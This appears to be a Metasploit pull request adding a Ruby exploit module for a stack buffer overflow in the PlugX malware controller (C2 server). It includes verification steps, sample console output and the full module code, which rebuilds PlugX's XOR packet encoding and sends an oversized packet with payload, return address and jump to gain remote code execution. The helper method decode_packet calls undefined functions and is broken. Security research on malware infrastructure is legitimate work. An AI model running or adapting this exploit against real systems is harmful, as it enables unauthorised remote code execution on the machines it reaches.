Added PlugX Controller Stack Overflow Module

This module exploits a stack overflow in the Plug-X Controller when handling a larger than expected message. This vulnerability can allow remote code execution however it causes a popup message to be displayed on the target before execution is gained.

## Verification
Run the PlugX C2 server on a target windows machine. The sample 9f59a606c57217d98a5eea6846c8113aca07b203e0dcf17877b34a8b2308ade6 is a Plux Type 1 server that works good for testing.

- [ ] use exploit/windows/misc/plugx
- [ ] set RHOST [ip of target]
- [ ] set target 1
- [ ] exploit
- [ ] acknowledge the "PeDecodePacket" message on the target

Sample output:
```
msf> use exploit/windows/misc/plugx 
msf exploit(plugx) > set rhost 192.168.161.128
rhost => 192.168.161.128
msf exploit(plugx) > set target 1
target => 1
msf exploit(plugx) > check

[*] 192.168.161.128:13579 - "\x03\xB0\x02\x00\x04\x00"
[*] 192.168.161.128:13579 The target appears to be vulnerable.
msf exploit(plugx) >

modules/exploits/windows/misc/plugx.rb

@@ -0,0 +1,171 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'zlib'
+
+class MetasploitModule < Msf::Exploit::Remote
+  Rank = NormalRanking
+  include Msf::Exploit::Remote::Tcp
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'           => 'PlugX Controller Stack Overflow',
+      'Description'    => %q{
+          This module exploits a Stack buffer overflow in the PlugX Controller (C2 server)
+      },
+      'Author'         => 'Professor Plum',
+      'License'        => MSF_LICENSE,
+      'References'     =>
+        [
+        ],
+      'DefaultOptions' =>
+        {
+          'EXITFUNC' => 'thread',
+          'AllowWin32SEH' => true
+        },
+      'Payload'        =>
+        {
+          'Space'    => 0xe000,
+          'BadChars' => '',
+          'EncoderType' => Msf::Encoder::Type::AlphanumMixed
+        },
+      'Platform'       => 'win',
+      'DisclosureDate' => 'Jul 27 2017',
+      'Targets'        =>
+        [
+          ['PlugX Type I (old)', { 'xor' => 0, 'callebp' => 0x004045c4 }],
+          ['PlugX Type I',         { 'xor' => 1, 'callebp' => 0x004045c4 }],
+          ['PlugX Type II',        { 'xor' => 2, 'callebp' => 0x004045c4 }]
+        ],
+      'Privileged'     => false,
+      'DefaultTarget' => 2)
+    )
+
+    register_options(
+      [
+        Opt::RPORT(13579)
+      ], self.class
+    )
+  end
+
+  def xor_stream1(key, src)
+    key0 = key1 = key2 = key3 = key
+    dst = ''
+    for i in 0..(src.size - 1)
+      key0 = (key0 + (key0 >> 3) - 0x11111111) & 0xFFFFFFFF
+      key1 = (key1 + (key1 >> 5) - 0x22222222) & 0xFFFFFFFF
+      key2 = (key2 + 0x44444444 - (key2 << 9)) & 0xFFFFFFFF
+      key3 = (key3 + 0x33333333 - (key3 << 7)) & 0xFFFFFFFF
+      new_key = (key2 + key3 + key1 + key0) & 0xFF
+      res = src[i].ord ^ new_key
+      dst += res.chr
+    end
+    dst
+  end
+
+  def xor_stream1a(key, src)
+    key0 = key1 = key2 = key3 = key
+    dst = ''
+    for i in 0..(src.size - 1)
+      key0 = (key0 + (key0 >> 3) + 3) & 0xFFFFFFFF
+      key1 = (key1 + (key1 >> 5) + 5) & 0xFFFFFFFF
+      key2 = (key2 - 7 - (key2 << 9)) & 0xFFFFFFFF
+      key3 = (key3 - 9 - (key3 << 7)) & 0xFFFFFFFF
+      new_key = (key2 + key3 + key1 + key0) & 0xFF
+      res = src[i].ord ^ new_key
+      dst += res.chr
+    end
+    dst
+  end
+
+  def xor_stream2(key, data)
+    dst = ''
+    for i in 0..(data.size - 1)
+      key = (((key << 7) & 0xFFFFFFFF) - ((key >> 3) & 0xFFFFFFFF) + i + 0x713A8FC1) & 0xFFFFFFFF
+      dst += ((key & 0xFF) ^ ((key >> 8) & 0xFF) ^ ((key >> 16) & 0xFF) ^ data[i].ord ^ ((key >> 24) & 0xFF)).chr
+    end
+    dst
+  end
+
+  def xor_wrap(key, data)
+    if target['xor'] == 0
+      return xor_stream1a(key, data)
+    elsif target['xor'] == 1
+      return xor_stream1(key, data)
+    elsif target['xor'] == 2
+      return xor_stream2(key, data)
+    end
+    print_status('Unknown PlugX Type')
+  end
+
+  def validate_response(data)
+    if data.nil?
+      print_status('Server closed connection')
+      return false
+    end
+    if data.empty?
+      print_status('No response recieved')
+      return false
+    end
+    if data.size < 16
+      print_status('Invalid packet')
+      print_status(data.inspect)
+      return false
+    end
+    key = data[0..4].unpack('<I')[0]
+    hdr = xor_wrap(key, data[0..16])
+    _x, _flags, _cmd, comp_size, _uncomp_size, _xx = hdr.unpack('<ISSSSI')
+    if (comp_size + 16) == data.size
+      raw = xor_wrap(key, data[16..-1])
+      print_status(raw.inspect)
+      return true
+    end
+    false
+  end
+
+  def check
+    connect
+    key = rand(0xFFFFFFFF)
+    hh = [key, 0, 0, 0, 0, 0].pack('<ISSSSI')
+    hdr = xor_wrap(key, hh)
+    sock.put([key].pack('<I') + hdr[4..-1])
+    if validate_response(sock.get_once || '')
+      return Exploit::CheckCode::Appears
+    end
+    Exploit::CheckCode::Safe
+  end
+
+  def decode_packet(data)
+    key = data[0..4].unpack('<I')
+    _x, flags, _cmd, _comp_size, _uncomp_size, _xx = xorstream2(key, data[0..16]).unpack('<ISSSSI')
+
+    buf = xor_stream(key, data[16..-1])
+    buf = decompress(buf)
+    return the_flags[flags & 0xffff], xx, buf
+  end
+
+  def exploit
+    print_status("Trying target #{target.name}...")
+
+    l = 0xF008
+    pad = 0x18
+    a = 0x004045c4
+    pktlen = l + pad + 9
+    jmp = "\xe9" + [-pktlen].pack('<I')
+    key = rand(0xFFFFFFFF)
+    hh = [key, 0, 0, pktlen, pktlen, 0].pack('<ISSSSI')
+    hdr = xor_wrap(key, hh)
+    pkt = [key].pack('<I') + hdr[4..-1] + payload.encoded + 'A' * (l - payload.encoded.size) + [a].pack('<I') + 'x' * pad + jmp
+
+    connect
+    sock.put(pkt)
+
+    print_status('waiting for response')
+    validate_response(sock.get_once)
+    disconnect
+
+    handler
+  end
+end